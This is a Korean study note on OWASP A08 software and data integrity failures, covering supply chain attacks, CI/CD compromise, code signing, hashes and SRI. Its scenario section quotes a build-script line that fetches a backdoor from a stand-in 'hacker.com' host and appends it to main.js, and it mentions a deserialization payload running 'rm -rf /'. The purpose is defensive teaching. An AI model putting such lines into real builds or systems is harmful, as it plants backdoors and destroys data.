485. Software and Data Integrity Failures (소프트웨어 및 데이터 무결성 실패)

핵심 인사이트 (3줄 요약)

  1. 본질: 소프트웨어 및 데이터 무결성 실패(Software and Data Integrity Failures)는 코드를 다루는 개발 서버나 배포 파이프라인(CI/CD) 자체가 오염되어, 내가 짠 순결한 코드 안에 해커가 몰래 악성코드(백도어)나 변조된 라이브러리를 스파이처럼 섞어 넣은 뒤 무결성 검증(전자서명 등) 없이 그대로 수백만 명의 고객에게 배포해 버리는 참사다.
  2. 가치: 2021년 OWASP Top 10에 새롭게(8위) 데뷔하며 클라우드 시대 '공급망 공격(Supply Chain Attack)'의 파괴력을 전 세계에 경고했다. 고객의 폰을 직접 해킹하는 대신, 고객이 무한 신뢰하는 '공식 업데이트 서버'를 장악해 트로이 목마를 퍼뜨리는 수조 원짜리 대재앙의 핵을 차단한다.
  3. 융합: 내가 다운로드하는 오픈소스의 지문(Hash Checksum)을 검사하고 배포 파일(Docker Image)에 회사 공식 인감도장(Code Signing)을 찍어 젠킨스(Jenkins) 배포 자동화 파이프라인의 DevSecOps 무결성 검증 아키텍처와 절대적인 신뢰의 사슬로 융합된다.

Ⅰ. 개요 및 필요성 (Context & Necessity)

  • 개념: 무결성(Integrity)은 "데이터나 파일이 중간에 단 1바이트도 조작되거나 변경되지 않은 순수한 100% 원본 상태"를 뜻한다. 무결성 실패는 내가 믿고 다운로드받은 윈도우 업데이트 파일, NPM 라이브러리, 도커(Docker) 이미지가 중간에 쓱싹 변조되었는데, 서버가 바보처럼 "오! 최신 업데이트네!" 라며 덥석 받아먹고 고객에게 쏴버리는 것을 말한다.

  • 필요성: 개발자가 아무리 시큐어 코딩을 완벽하게 짜서 SQL 인젝션 구멍을 0(Zero)으로 틀어막았다고 치자. 그런데 젠킨스(CI) 빌드 서버에서 파일을 .jar로 묶을 때, 해커가 몰래 admin_password_stealer.class 라는 악성 코드를 끼워 넣었다. 서버는 이 파일이 해킹된 찌꺼기인지도 모르고 라이브 서버에 배포(CD)했다. 고객 수백만 명의 폰에 악성코드가 '합법적인 공식 업데이트'라는 이름으로 깔려버린다(솔라윈즈 사태). 아무리 튼튼한 금고(앱)를 만들었어도, 금고를 배달하는 택배 트럭(배포 파이프라인)에서 누군가 금고 바닥에 다이너마이트를 붙여놓는 끔찍한 공급망 공격을 막기 위해 인프라 레벨의 무결성 족쇄가 필요하다.

  • 💡 비유: 무결성 실패는 정수기 공장의 **'독극물 생수병 투입 사고'**와 같습니다. 공장장(개발자)이 알프스의 100% 맑은 물(클린 코드)을 길어왔습니다. 그런데 물을 페트병에 담아 포장하는 컨베이어 벨트(CI/CD)에 몰래 잠입한 스파이가, 생수병 1만 개마다 독극물을 한 방울씩 주사기로 찔러 넣었습니다(변조). 공장장이 병 입구에 **'뜯으면 자국이 남는 비닐 씰(전자서명/무결성 검사)'**을 붙이지 않고 그대로 전국 마트에 배달해버려 수만 명이 식중독에 걸리는 대재앙입니다.

  • 등장 배경 및 발전 과정:

    1. CD(CD) 파이프라인의 대중화: 애자일 시대가 되며 하루에 10번씩 젠킨스가 코드를 묶어 서버로 쏴주는 자동화 도로가 뚫렸다. 해커들은 "앱을 뚫을 필요 없이 저 고속도로 톨게이트를 장악하면 끝나네?"를 깨달았다.
    2. 솔라윈즈(SolarWinds) 공급망 핵폭탄 (2020): 미국 최고의 IT 관리 기업 솔라윈즈의 배포 서버가 털렸다. 해커는 정상 업데이트 파일 안에 백도어를 섞어 미국 펜타곤, 국방부, 포춘 500대 기업 등 수만 개 기업에 공식 업데이트를 빙자하여 동시다발적으로 백도어를 꽂아버린 인류 역사상 최악의 사건이 터졌다.
    3. OWASP A08 신설 (2021): "네가 다운받는 도커 이미지, 네가 쓰는 젠킨스가 가장 큰 적이다!"라며 OWASP 재단이 이 '무결성 파괴'를 8위로 격상시키며 DevSecOps의 멱살을 잡고 흔들었다.
  • 📢 섹션 요약 비유: 이 취약점은 **'트로이 목마'**의 현대판입니다. 성벽(방화벽) 밖에서 대포를 쏘는 짓(해킹)을 멈추고, 해커가 적국(우리 회사) 왕의 이름으로 보낸 위조된 예쁜 목마(오픈소스 라이브러리/업데이트 파일)를 보냅니다. 성문 경비병은 왕의 직인(무결성 검사)이 가짜인지 진짜인지 확인도 안 하고 덥석 성안으로 들여와, 밤에 목마 배 속에서 해커들이 튀어나와 성을 점령해 버립니다.


Ⅱ. 아키텍처 및 핵심 원리 (Deep Dive)

1. 무결성 붕괴 3대 시나리오 (해커의 트로이 목마 루트)

해커는 코드가 아닌 '신뢰의 흐름'을 공격한다.

  1. 오픈소스 리포지토리 독살 (Dependency Poisoning)
    • 개발자들이 매일 쓰는 NPM이나 Maven 저장소에서, 해커가 엄청 유명한 오픈소스 이름(예: react-dom)과 아주 비슷하게 생긴 가짜 쓰레기 라이브러리(react-don)를 1.0버전으로 몰래 올려놓는다(타이포스쿼팅). 개발자가 오타를 내서 덥석 다운받아 앱에 박아버리면 즉시 좀비 앱이 된다.
  2. 도커 이미지(Docker Image) 변조 배포
    • 개발자가 Ubuntu:latest 도커 깡통을 허브에서 다운받아 서버를 띄운다. 그런데 그 깡통은 공식 우분투가 아니라 해커가 올려둔 백도어가 깔린 가짜 우분투 깡통이다. 서버가 켜지자마자 해커에게 관리자 쉘을 통째로 바친다.
  3. CI/CD 빌드 파이프라인 (Jenkins) 장악
    • 해커가 소스코드를 건드리지 않는다. 젠킨스(Jenkins) 서버의 관리자 권한을 따서, 컴파일이 끝난 직후 .jar 파일로 압축될 때 몰래 hacker.class 파일을 쏙 밀어 넣는 스크립트를 심어둔다. 운영 서버는 "우리 젠킨스가 준 거니까 안전해!"라며 무조건 믿고 배포해 버린다. (솔라윈즈 사태)

2. 절대 방패 아키텍처: 해시(Hash)와 전자 서명 (Code Signing)

남이 준 파일, 심지어 우리 젠킨스가 준 파일조차 의심해야 한다. (제로 트러스트)

  • 해시 체크섬(Checksum) 무결성 검사: 파일의 지문(Hash)을 비교한다. 라이브러리 공식 홈페이지에 적힌 SHA-256: 8a9f... 지문과, 내가 다운로드받은 .jar 파일의 지문을 계산해서 비교한다. 해커가 중간에 단 1바이트의 띄어쓰기라도 몰래 넣었다면 해시 지문이 완전히 딴판으로 변하기(눈사태 효과) 때문에 1초 만에 "독극물"임을 눈치채고 다운로드를 폐기한다.

  • 코드 서명 (Code Signing): 젠킨스가 빌드를 끝내고 .jar 파일을 뱉을 때, 회사의 '마스터 비밀키(Private Key)'로 인감도장(서명)을 꽉 찍는다. 나중에 운영 서버(CD)가 이 파일을 받으면, 배포를 시작하기 전에 도장이 진짜 우리 회사 도장인지 '공개키(Public Key)'로 확인한다. 해커가 중간에 파일을 바꿨다면 도장 자국이 깨지므로 운영 서버가 즉각 배포를 중단하고 피를 뱉는다.

  • 📢 섹션 요약 비유: 무결성 방어는 왕이 장군에게 보내는 **'밀랍 봉인(왁스 씰링) 편지'**입니다. 편지(앱 업데이트 파일)를 배달꾼(인터넷)에게 그냥 주면, 배달꾼이 뜯어서 가짜 명령으로 바꿔서 다시 닫아버릴 수 있습니다. 그래서 왕은 편지 봉투에 뜨거운 밀랍을 붓고 왕가의 인감도장(전자 서명)을 꽉 찍어 보냅니다. 장군(서버)은 봉투를 받아보고 도장 자국이 1mm라도 깨져있으면(해시/무결성 파괴), "이건 가짜 명령이다!"라며 배달꾼 목을 치고 편지를 태워버립니다.


Ⅲ. 융합 비교 및 다각도 분석

1. A08 무결성 실패 (Integrity) vs A06 낡은 컴포넌트 (Outdated)

오픈소스를 잘못 써서 털린다는 점이 비슷해 보이지만 결이 다르다.

척도A06. 취약하고 낡은 요소 사용 (Outdated)A08. 소프트웨어 및 데이터 무결성 실패 (Integrity)
위협의 본질"내가 쓴 라이브러리가 너무 옛날 거라 썩었네""내가 쓴 라이브러리 자체가 해커가 위조한 가짜네!"
공격자의 액션가만히 기다렸다가 옛날 버전을 쓰는 바보를 털어먹음적극적으로 파이프라인이나 공식 저장소를 속이고 해킹함
방어 메커니즘SCA(Snyk 등) 돌려서 최신 버전으로 업데이트해시 검사, 전자서명 대조하여 가짜면 다운로드 차단
비유유통기한 3년 지난 우유를 먹고 배탈이 남오늘 갓 짜낸 신선한 우유팩에 도둑이 몰래 독을 타고 닫음

과목 융합 관점

  • 네트워크 / 데브옵스 (도커 이미지 서명, Docker Notary): 도커 허브(Docker Hub)에 올려둔 우리 회사 myapp:v1 컨테이너 이미지를 해커가 몰래 내려받아 백도어를 섞고 다시 v1으로 올려치기(Overwrite) 해버리면? 운영 쿠버네티스는 아무것도 모르고 당겨와 배포한다. 이 대재앙을 막기 위해 Docker Content Trust (Notary) 아키텍처가 융합된다. 도커 이미지를 올릴 때 젠킨스(CI)가 디지털 서명을 박고, 쿠버네티스(CD)는 **"서명이 없는(Untrusted) 이미지는 내 클러스터(Node)에 절대 띄우지 마라!"**라고 인프라 레벨에서 강제로 Admission Controller를 달아 입구컷을 쳐버리는 숨 막히는 서명 융합 방어망이다.

  • 아키텍처 (안전한 자동 업데이트): 앱을 배포한 뒤, 유저 폰에서 카카오톡이 자동 업데이트를 받는다. 이때 중간에 해커가 와이파이를 해킹해(MITM) 가짜 업데이트 .apk 파일을 폰에 밀어 넣으면(무결성 파괴)? 폰이 털린다. 훌륭한 아키텍트는 폰 내부에서 다운받은 파일의 SHA-256 해시를 검사하고, 앱 안에 하드코딩된 공개키로 서명(Signature)을 무조건 1차 검증(Verify)하여, 1바이트라도 조작된 쓰레기 파일이면 즉시 폰에서 삭제해 버리는 '자율 무결성 방패'를 설계해야 한다.

  • 📢 섹션 요약 비유: **A06(낡은 요소)**은 전쟁터에 녹슨 칼을 들고나가서 부러져 죽는 것이고, **A08(무결성 실패)**은 아주 날카로운 새 칼을 받았는데, 그 칼 손잡이에 적군이 몰래 발라놓은 **맹독(변조)**이 묻어 있어서 잡자마자 피를 토하고 죽는 것입니다. 칼을 새것으로 바꾸는 것(업데이트)과, 그 칼이 오염되지 않았는지 검사하는 것(무결성)은 전혀 다른 방어 체계입니다.


Ⅳ. 실무 적용 및 기술사적 판단

실무 시나리오

  1. 시나리오 — CI/CD 파이프라인이 트로이 목마 공장으로 돌변한 사연: 신생 핀테크 스타트업이 개발 편의를 위해 젠킨스(Jenkins) 서버의 관리자 권한과 S3 버킷 접근 권한을 널널하게 열어두었다. 해커가 젠킨스의 취약점을 뚫고 들어와, 배포 스크립트(build.sh) 딱 한 줄을 몰래 고쳤다. curl -O http://hacker.com/backdoor.js && cat backdoor.js >> main.js. 다음 날, 개발팀이 새로운 버튼 하나를 추가하고 당당하게 자동 배포를 때렸다. 그 결과 100만 명의 고객 앱에 1초 만에 해커의 백도어가 합법적 업데이트를 타고 쫙 깔렸다. 코드는 결백했지만, 파이프라인(공장) 자체가 오염되어 파산한 것이다.

    • 아키텍트의 해결책: 빌드 서버(CI) 무결성 및 접근 통제(Access Control) 파탄이다. 빌드 파이프라인은 해커의 로얄 젤리다. 아키텍트는 1) 젠킨스(CI) 서버 접속을 VPN과 2FA(다중 인증)로 철통 봉쇄하고, 2) 파이프라인 코드를 텍스트 파일(Jenkinsfile)로 Git에 올려 "수정 시 반드시 동료 2명 이상의 Approve(코드 리뷰)를 받아야만" 파이프라인 설정이 고쳐지게 강제하는 2인 통제(Two-man Rule) 아키텍처를 도입해야 내부/외부 스파이의 빌드 오염을 막을 수 있다.
  2. 시나리오 — 검증 없는 역직렬화(Deserialization)가 부른 RCE 원격 털림: 자바 서버에서 외부의 객체 데이터를 바이트로 받아 다시 객체로 살려내는 '역직렬화(ObjectInputStream.readObject)'를 무지성으로 수행했다. 해커가 바이트 코드 조각 안에 Runtime.exec("rm -rf /") 라는 미친 OS 명령어를 숨겨서 밀어 넣었다. 자바 서버가 멍청하게 "오! 객체네!" 하고 역직렬화로 살려내는 그 찰나의 순간, 살려낸 객체의 생성자가 실행되며 서버를 통째로 날려버렸다(RCE 공격).

    • 아키텍트의 해결책: 무결성이 깨진(조작된) 데이터의 맹목적 신뢰 오류다. 외부에서 들어오는 직렬화 데이터(XML, 바이트코드)는 언제 해커의 독이 섞였을지 모르는 지뢰다. 아키텍트는 구시대적인 원시 역직렬화(ObjectInputStream) 사용을 린터(Linter)로 아예 금지(Ban)시켜야 한다. 대신 구조가 투명한 **JSON(Jackson/Gson)**만을 쓰도록 강제하고, 어쩔 수 없이 역직렬화를 해야 한다면 우리가 짠 클래스 타입이 아니면 무조건 예외를 뱉고 죽어버리는 화이트리스트(Whitelist) 역직렬화 필터를 아키텍처 레벨에 발라버려야 폭발을 막는다.

도입 체크리스트

  • 조직적: 프라이빗 리포지토리(Private Repository) 댐을 건설했는가? 50명의 개발자가 각자의 노트북에서 npm install이나 mvn clean으로 인터넷(퍼블릭 망)에서 다이렉트로 라이브러리를 쫙쫙 빨아먹게 두면 무결성은 끝이다. 아키텍트는 무조건 사내망에 NexusArtifactory 같은 프라이빗 댐을 설치하고, "전 우주(인터넷)와의 직결을 끊는다! 오직 넥서스를 거쳐서(프록시) 다운받고, 넥서스가 무결성 해시(Hash)를 검증해 준 안전한 놈들만 개발자들 로컬에 내려가게 통제하라!"는 공산주의급 생태계 격리 룰을 선포해야 한다.
  • 기술적: 서브 자원 무결성(SRI, Subresource Integrity) 태그를 프론트엔드에 박았는가? 리액트(React)를 짤 때, jQuery나 Bootstrap 자바스크립트 파일을 구글 CDN에서 긁어와서 <script src="https://cdn.com/jquery.js"> 라고 쓴다. 어느 날 저 CDN 서버가 해킹당해서 jquery 파일 안에 악성 코드가 심어지면 내 웹사이트 고객들이 다 좀비가 된다. 아키텍트는 HTML을 짤 때 무조건 <script src="..." integrity="sha256-머시기..." crossorigin="anonymous"> 처럼 SRI(무결성 지문) 속성을 강제해야 한다. CDN이 털려 파일이 1바이트라도 조작되면, 크롬 브라우저가 "지문이 다르네? 이 쓰레기 스크립트 실행 안 해!"라며 튕겨내어 100만 유저를 살려낸다.

안티패턴

  • "빌드된 바이너리(.jar, .exe)를 Git에 같이 올리기": 형상관리(Git) 저장소에 소스코드뿐만 아니라 다 묶여서 기계어로 변한 .jar 파일이나 컴파일된 산출물까지 욱여넣어 버리는 미친 안티패턴. 해커가 소스코드는 안 건드리고 저 바이너리 파일 껍데기 안에 백도어를 덮어씌워 버리면(무결성 파괴), 개발자들은 코드가 멀쩡하니 전혀 눈치채지 못하고 해킹된 앱 덩어리를 그대로 릴리즈 서버로 퍼나르는 노예가 되어버린다. "Git에는 순수한 Source Code만 올려라. 바이너리(빌드 결과물)는 무조건 격리된 아티팩트 저장소에 따로 모셔라."

  • 📢 섹션 요약 비유: 무결성을 검증하지 않는 빌드는, **'국경 수비대 없이 트럭 100대가 고속도로를 쌩쌩 달리는 꼴'**입니다. 출발지(코드)와 목적지(서버)가 아무리 깨끗해도, 고속도로 중간 휴게소에서 스파이가 트럭에 몰래 짐(악성코드)을 싣고 가면 아무도 모릅니다. 국경 수비대(무결성 해시 검사)가 트럭 화물칸 봉인(전자 서명)이 뜯어졌는지 일일이 엑스레이를 찍는 깐깐함, 그것이 파이프라인 방어의 절대 원칙입니다.


Ⅴ. 기대효과 및 결론

정량/정성 기대효과

구분인터넷에서 무지성 복붙 다운로드 & 무검증 배포 (AS-IS)해시/서명 검증(SRI, Notary) 기반 통제 파이프라인 (TO-BE)개선 효과
정량CDN이나 오픈소스 해킹 시 자사 시스템 동반 감염 100%해시(Checksum) 불일치로 다운로드 및 렌더링 즉시 차단공급망 공격(Supply Chain Attack) 연쇄 감염률 0% 달성
정량CI 서버 장악으로 인한 악성코드 배포, 복구에 수십 억 소요도커 이미지 전자 서명(Notary) 강제로 K8s 부팅 실패(Fail)인프라 오염으로 인한 악성 앱 배포 리스크 완전 제거
정성"이 라이브러리 써도 되나?" 다운로드할 때마다 불신 가득"사내 넥서스(Nexus)에 있는 건 100% 무균"이라는 안도감개발자의 서드파티 도입 피로도 감소 및 코드 순결성 100% 보장

미래 전망

  • 구글의 SLSA(Software Supply Chain Levels for Software Artifacts) 장악: 빌드 파이프라인이 너무 털리니까, 구글이 "공급망 보안 등급표(SLSA)"라는 프레임워크를 발표하며 천하통일을 시도하고 있다. "빌드 스크립트가 코드화(IaC)되어 있는가? 빌드 과정이 밀폐된(Isolated) 환경인가? 최종 산출물에 변경 불가한 출처(Provenance) 도장이 찍혔는가?"를 기준으로 레벨 1부터 4까지 등급을 매겨, 미래에는 SLSA 레벨 3 이상(무결성 완벽 보장)이 안 되면 아예 글로벌 앱 스토어나 공공기관 납품 자체가 밴(Ban) 당하는 초강력 규제로 진화할 것이다.
  • 블록체인 기반의 불변(Immutable) 빌드 원장: 젠킨스가 뱉어낸 .jar 파일의 해시 지문과 배포 기록을 위변조가 영원히 불가능한 퍼블릭 블록체인(스마트 컨트랙트)에 꽉꽉 박아버린다. 내부 직원이 뇌물을 받고 로그를 지우려 해도 지울 수가 없는, 절대적인 투명성과 '초-무결성(Hyper-Integrity)' 증명 아키텍처가 금융권 코어 뱅킹 배포망에 조용히 스며들고 있다.

참고 표준

  • OWASP Top 10 (A08: Software and Data Integrity Failures): 2021년 8위로 혜성같이 신설되며, 개발자들의 시야를 '소스코드' 안에서 '빌드, 배포, 업데이트라는 거대한 인프라 컨베이어 벨트 전체'로 폭발적으로 넓혀버린 거버넌스 급의 위협 지표. (이전 장 477번)
  • SolarWinds Hack (솔라윈즈 사태): OWASP가 이 취약점을 8위로 박아넣게 만든 역사상 최악의 공급망 해킹 사건. 수만 명의 미국 최고 해커들이 막고 있던 펜타곤(국방부)을, '공식 업데이트 서버' 하나 뚫어서 피 한 방울 안 묻히고 무너뜨린 현대 해킹의 교과서적 바이블.

소프트웨어 및 데이터 무결성 실패(Integrity Failures)는 방어자들에게 **'내가 믿는 모든 도구(Tool)와 길(Pipeline)을 의심하라(Zero Trust)'**는 철학적 사형 선고다. 내가 짠 코드는 완벽하다는 나르시시즘에 빠진 개발자는 젠킨스(Jenkins)라는 공장이 해커의 트로이 목마를 찍어내는 앞잡이로 전락한 줄도 모르고 흐뭇하게 미소 지으며 Deploy 버튼을 누른다. 기술사는 내 성벽의 벽돌(코드)뿐만 아니라, 그 벽돌을 구워내는 가마(Build)와 수레(CI/CD)의 바퀴까지 현미경을 들이대야 한다. 남이 준 떡(오픈소스)은 해시 지문으로 독을 검사하고, 내가 뱉은 산출물(.jar)에는 차가운 쇠 인감도장(전자 서명)을 찍어 봉인하는 피도 눈물도 없는 깐깐함, 그것만이 거미줄처럼 엮인 이 클라우드 공급망(Supply Chain) 지뢰밭에서 고객의 폰에 순결한 코드만을 쏘아 보내는 아키텍트의 위대한 수호술이다.

  • 📢 섹션 요약 비유: 무결성 방어는 마피아의 **'독극물 기미 상궁과 밀봉 가방'**입니다. 보스(운영 서버)에게 가는 음식(업데이트 파일)은 요리사(개발자)가 주방에서 완벽하게 만들었다고 끝이 아닙니다. 식탁으로 올라가는 복도(파이프라인)에서 웨이터(해커)가 독을 탈 수 있습니다. 진정한 방어는 주방장이 요리를 만들자마자 자물쇠가 달린 철제 가방(전자서명)에 넣고, 보스가 가방을 받기 전에 기미상궁(무결성 스캐너/SRI)이 독침(해시 체크)으로 찔러보고 이상이 없을 때만 뚜껑을 열어 먹는 숨 막히는 호위 아키텍처입니다.

📌 관련 개념 맵 (Knowledge Graph)

개념 명칭관계 및 시너지 설명
취약하고 만료된 컴포넌트 (A06)낡아서 썩은 빵(오픈소스)을 주워 먹어 배탈 나는 것이라면, A08 무결성 실패는 어제 갓 나온 빵인 줄 알았는데 해커가 몰래 독을 섞어 위조한 빵을 먹고 죽는 것이다. (이전 장 483번)
공급망 공격 (Supply Chain Attack)무결성 실패를 낳는 가장 무서운 전략. 내 성벽을 부수지 않고, 성안으로 매일 들어오는 밀가루 납품 트럭(공식 업데이트/오픈소스)에 독을 타서 성을 함락시키는 신포도 전술.
해시 함수 (Hash / SHA-256)무결성을 수호하는 절대적인 수학적 저울. 파일 안에 해커가 점(.) 하나만 몰래 찍어도, 결과값 전체가 눈사태처럼 딴판으로 찌그러져 1초 만에 변조 사실을 발각해 내는 탐지기. (이전 장 479번)
CI/CD 파이프라인 (Jenkins)무결성 공격의 핵심 폭격 타겟. 소스코드부터 배포까지 이어지는 고속도로가 털리면, 백도어를 전 세계 수백만 고객의 핸드폰에 '공식 업데이트'라는 이름으로 뿌려주는 자동 융단 폭격기로 변신한다. (이전 장 465번)
역직렬화 (Deserialization)무결성이 가장 쉽게 박살 나는 자바(Java)의 아킬레스건. 해커가 조작한 쓰레기 바이트 데이터(무결성 파괴)를 서버가 순진하게 "오! 객체네!" 하고 뇌에 살려내며 서버 전체를 헌납하는 자살 행위.

👶 어린이를 위한 3줄 비유 설명

  1. 내가 세상에서 제일 맛있는 사과 주스(내 코드)를 공장에서 짜냈어요! 그런데 마트에 배달 가는 트럭(배포 파이프라인) 운전사 아저씨가 나쁜 도둑(해커)이었어요.
  2. 도둑 아저씨가 트럭 안에서 주스 뚜껑을 몰래 열고, 흙탕물(악성 백도어 코드)을 섞어서 닫은 다음 손님들에게 팔아버렸어요. 손님들은 내가 만든 줄 알고 먹고 배탈이 났죠!
  3. 이렇게 남이 만든 것(오픈소스)이나 내가 만든 주스(업데이트 파일)가 가게로 배달되는 중간에 몰래 쓰레기가 섞였는데(조작), 뚜껑에 '뜯음 방지 스티커(전자서명)'를 안 붙여서 못 알아채는 큰 실수를 **'무결성 실패'**라고 부른답니다!